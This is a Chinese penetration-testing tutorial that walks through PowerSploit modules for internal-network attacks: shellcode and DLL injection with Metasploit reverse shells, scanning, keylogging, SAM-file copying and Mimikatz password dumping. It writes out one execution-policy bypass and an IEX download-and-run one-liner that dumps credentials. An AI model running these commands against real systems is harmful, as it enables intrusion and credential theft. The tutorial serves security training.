工具| PowerShell的内网渗透之旅(二)

0x00 过渡

之前提到当在执行powershell脚本时,由于默认策略的缘故,是会报错的,因此也出现了几种逃过的情况:

本地权限绕过:PowerShell.exe -ExecutionPolicy Bypass -File xxx.ps1,此外还可以通过本地隐藏权限进行绕过:PowerShell.exe -ExecutionPolicy Bypass -NoLogo –NonInteractive -NoProfile -WindowStyle Hidden -File xxx.ps1

IEX下载远程PS1脚本权限绕过执行(在本例PowerSploit框架利用中会使用):powershell.exe "IEX (New-Object Net.WebClient).DownloadString('http://网址/对应脚本名称'); Invoke-Mimikatz -DumpCreds"

0x01 PowerSploit简介

PowerSploit是Microsoft PowerShell模块的集合,可用于在评估的所有阶段帮助渗透测试人员。PowerSploit由以下模块和脚本组成:

模块

说明

CodeExecution

在目标主机执行代码

ScriptModification

在目标主机上创建或修改脚本代码

Persistence

后门脚本(持久性控制)

AntivirusBypass

发现杀软查杀特征

Exfiltration

在目标主机上进行信息搜集

Mayhem

蓝屏等破坏性脚本

Privesc

在目标主机中用于提权

Recon

以目标主机为跳板进行内网信息侦查

本次将会展示CodeExecution模块、Recon模块、Exfiltration模块以及Privesc模块的部分主流的脚本的渗透实例。

0x02 利用PowerSploit渗透的实例

准备工作

a.在kali(因为kali上集成很多好用的工具以及环境)上使用命令git clone https://github.com/mattifestation/PowerSploit.git 下载最新版的PowerSploit脚本文件;或者直接进入https://github.com/PowerShellMafia/PowerSploit 下载脚本文件。

b.打开一个web服务,并将下载的脚本文件放入web中,供我们通过IEX调用。

c.打开kali中的metasploit,本次的测试有部分需要通过metasploit结合完成。

CodeExecution模块

a.调用Invoke-Shellcode将shellcode注入到本地的Powershell

1)打开一个web服务,并将PowerSploit脚本添加到web中,以便后续实验中可通过IEX进行下载调用(此处我在kali中开启apache2服务)。

2).利用msfvenom生成一个反弹木马,以供invoke-shellcode注入,同样生成反弹马放入web中。

3).这里为了更好的展现效果,因此直接在powershell中进行操作,通过IEX下载调用invoke-shellcode以及生成的反弹马。

4).在kali中打开metasploit并设置好监听(只需设置PAYLOAD、LHOST、LPORT)。

5).在powershell中调用invoke-shellcode(可通过help命令来查询具体操作以及例子)。

注意:若此处关闭powershell,那么连接也将终断,因为承载木马的powershell被关闭了。

b.调用invoke-shellcode将shellcode注入到指定的进程中。

1).前面步骤和a的步骤一致,唯一不同的就是在最后的命令上,首先,查看我们需要注入的进程,建议可注入到系统的进程,因为一旦进程关闭,那么监听也将终断,因此系统进程一般不会被关闭,注意:不能注入到像360等驱动中,不然会被强制关闭。

注意:和a类似的,若关闭notepad进程,则连接中断。

c.调用invoke-dllinjection将DLL注入到进程中。

1)通过msfvenom生成DLL的反弹木马,并下载到目标主机中(为了方便,直接将dll文件下载至powershell运行的桌面),在实际环境中,也可以通过该方法进行传输dll文件。

2).设置好监听。

3)通过IEX调用下载并调用invoke-dllinjection,将DLL文件直接注入到notepad进程中。

Recon模块

a.调用invoke-Portscan扫描内网主机的端口。

1).通过IEX下载并调用invoke-portscan。

注意:这里用的全端口扫描,不建议这么做,耗费时间太长,可以扫描一些常规端口。

b.调用Get-HttpStatus扫描目标站点的目录。

1).通过IEX下载并调用Get-HttpStatus。

c.调用Invoke-ReverseDnsLookup扫描内网主机的ip对应的主机名。

1).通过IEX下载并调用Invoke-ReverseDnsLookup。

Exfiltration模块

a.调用Get-Keystrokes记录用户的键盘输入。

1).通过IEX下载并调用Get-Keystrokes。

b.调用Invoke-NinjaCopy复制一些系统无法复制的文件如sam文件。

1).通过IEX下载并调用Get-NinjaCopy。

正常情况下复制:

通过Invoke-NinjaCopy进行复制:

注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟是要拷贝系统文件,只是它做了管理员做不了的事。

c.调用Invoke-Mimikatz(内网神器)抓取内存中的明文密码。

1).通过IEX下载并调用Invoke-Mimikatz。

注意:这个脚本是要有管理员权限下才可以正常执行,否则会报错,毕竟涉及到密码之类的敏感信息,哪怕是管理员想看到明文的,也是很难实现的。

0x03 小结

PowerSploit也许有些模块有些脚本看似用处很小,但是我认为其实不然,可能是我们的经验阅历不高,还未遇到一个适合的环境或者时机。不过总体感觉PowerShell内网渗透还是很强大的,它不仅可以免杀执行,还可以毫无痕迹地在电脑中进行操作。斗哥想将一句话送给大家,是一个大神讲过的----“工具就像武器,要多用多练;要在实践中灵活利用,不能死板照搬”,想学好一个工具,多进行运用远比停留在理论学习来得强。最后希望大家能够在PowerShell内网渗透中获取更多的“宝藏”。

原文发布于微信公众号 - 漏斗社区(newdooneSec)

原文发表时间:2018-05-11

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏数据和云

ProxySQL!像C罗一样的强大!

作者 | 张甦, 数据库领域的专家和知名人士、图书《MySQL王者晋级之路》作者,51CTO 专家博主。近10年互联网线上处理及培训经验,专注于 MySQL 数...

33340
来自专栏Golang语言社区

【Go 语言社区】linux常用网络服务端口一览表及详细分析

端口号码 / 层 名称 注释 1 tcpmux TCP 端口服务多路复用 5 rje 远程作业入口 7 echo Echo 服...

42170
来自专栏SDNLAB

网络操作系统VyOS应用实践(一)

前言 本文在前面安装篇的基础上,对其功能进行应用实践。本文先介绍使用中的一些注意事项,后面介绍其网络接口相关的功能。 探索开始 这款操作系统目的是为了在x86平...

1.4K60
来自专栏杨建荣的学习笔记

容灾切换中的数据库宕机问题简单分析(一) (r9笔记第12天)

最近对一个统计库做了计划内的容灾切换,即主备切换。操作的过程其实还是蛮顺利的。但是灾难切换中如果出现在问题,那就是灾难中的灾难了。 按照计划对配置信息做了同步,...

34160
来自专栏信安之路

Windows 密码抓取方式总结

渗透测试过程中我们经常需要获取管理员的账号密码,以便进行更进一步的操作,下面我将给大家总结几种 steal account 的手法!其中可能也会涉及到 apt ...

24200
来自专栏信安之路

Cobalt Strike 初体验

Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win ...

14300
来自专栏云计算教程系列

求生之路2服务器搭建教程

《求生之路2》(英语:Left 4 Dead 2)是2008年由V社开发、以丧尸为主题的恐怖生存类游戏《求生之路》的续作,游戏初次于2009年电玩E3展亮相,并...

1.6K40
来自专栏逢魔安全实验室

wordpress任意文件删除漏洞分析

本文内容比较多,建议点击https://blog.formsec.cn/2018/07/03/wordpress%E4%BB%BB%E6%84%8F%E6%96...

10110
来自专栏小狼的世界

HP-UX培训学习笔记

HP-UX操作系统全称为Hewlett Packard UniX,是惠普服务器上所有的操作系统。其发源自 AT & T SRV4系统,可以支持HP的PA-RIS...

16920
来自专栏黑泽君的专栏

Win10没有以太网图标如何找回?以太网适配器不见了怎么恢复?

Win10以太网适配器不见了怎么恢复?以太网其实就是Win7系统中常说的“本地连接”假若用户发现网络适配器中的以太网适配器图标不见了,可以在设备管理器中添加一些...

11010

扫码关注云+社区

领取腾讯云代金券